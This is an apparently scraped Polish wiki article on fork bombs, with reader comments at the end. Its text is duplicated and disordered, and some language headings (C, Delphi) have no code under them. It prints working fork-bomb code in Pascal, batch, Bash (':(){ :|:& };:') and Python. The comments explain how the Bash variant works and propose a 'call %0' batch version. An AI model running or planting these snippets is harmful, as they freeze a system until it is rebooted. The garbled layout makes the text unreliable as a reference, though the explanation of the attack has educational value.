Fork-bomba
Artykuł napisany na podstawie artykułu z Wikipedii.
Fork-bomba jest formą ataku DoS. Polega na ciągłym uruchamianiu procesu potomnego bez warunku jego zakończenia. Efektem takiego działania jest kompletne sparaliżowanie systemu, ponieważ nie ma miejsca na żaden inny proces - nie da się więc tego nawet zamknąć. Efektem jest konieczność restartu systemu (czasami nawet następuje ono samo, na przykład w SBS-ie).
Fork-bomba może zostać napisana w wielu różnych językach. Oto kilka przykładów:
C
Pascal
Delphi
Pliki wsadowe (BAT)
Bash
Python
Fork-bomba jest formą ataku DoS. Polega na ciągłym uruchamianiu procesu potomnego bez warunku jego zakończenia. Efektem takiego działania jest kompletne sparaliżowanie systemu, ponieważ nie ma miejsca na żaden inny proces - nie da się więc tego nawet zamknąć. Efektem jest konieczność restartu systemu (czasami nawet następuje ono samo, na przykład w SBS-ie).
Fork-bomba może zostać napisana w wielu różnych językach. Oto kilka przykładów:
C
Pascal
repeat
Exec (GetEnv ('COMSPEC'),'/C call '+ParamStr (0));
until false;
Exec (GetEnv ('COMSPEC'),'/C call '+ParamStr (0));
until false;
Delphi
Pliki wsadowe (BAT)
:a
start %0
goto a
start %0
goto a
Bash
:(){ :|:& };:
Python
from subprocess import Popen
import sys
while True:
Popen(sys.argv)
import sys
while True:
Popen(sys.argv)



import sys
while True:
Popen(sys.argv)
Kod wewnątrz funkcji rekursywnie wywołuje funkcję i przekierowuje wynik do innego wywołania siebie samej (:|:), a & wrzuca go do tła, żeby nie zabijać procesów rodziców. I to daje jeszcze wykładniczy wzrost ilości procesów
; to zakończenie definicji funkcji, a ostatni : ustawia pułapkę uruchamiajac funkcję po raz pierwszy.
Notabene DOS 6.22 dzięki braku wielowątkowości jest odporny na ten atak, sprawdzałem, da się przerwać spokojnie
A plik wsadowy w Twoim przykładzie wymaga Windows i programu start - a po co, jak jest polecenie wewnętrzne CALL?
call %0
goto a
Ktos - może słowo wyjaśnienia dla nieobcykanych z bashem?
Bo wygląda dziwnie